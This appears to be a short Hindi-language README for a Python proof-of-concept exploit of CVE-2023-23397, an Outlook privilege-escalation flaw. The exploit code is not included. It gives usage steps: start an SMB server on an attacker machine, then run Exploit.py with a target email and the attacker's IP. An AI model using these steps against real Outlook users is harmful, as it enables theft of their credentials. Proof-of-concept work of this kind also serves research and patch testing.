CVE-2023-23397 (Outlook विशेषाधिकार वृद्धि)

Python में CVE-2023-23397 के लिए प्रूफ ऑफ कॉन्सेप्ट

Microsoft Office/365 उत्पादों को प्रभावित करने वाले Outlook CVE के लिए Python में एक त्वरित और आसान "प्रूफ ऑफ कॉन्सेप्ट"।

उपयोग

1. pip install pywin32 चलाकर pywin इंस्टॉल करें
2. हमलावर मशीन पर एक SMB सर्वर शुरू करें, जैसे कि Metasploit का SMB मॉड्यूल
3. कमांड (save या send), लक्ष्य ईमेल पता और हमलावर की मशीन का IP पास करते हुए python Exploit.py <save_or_send> <target email> <attacker_ip> चलाएँ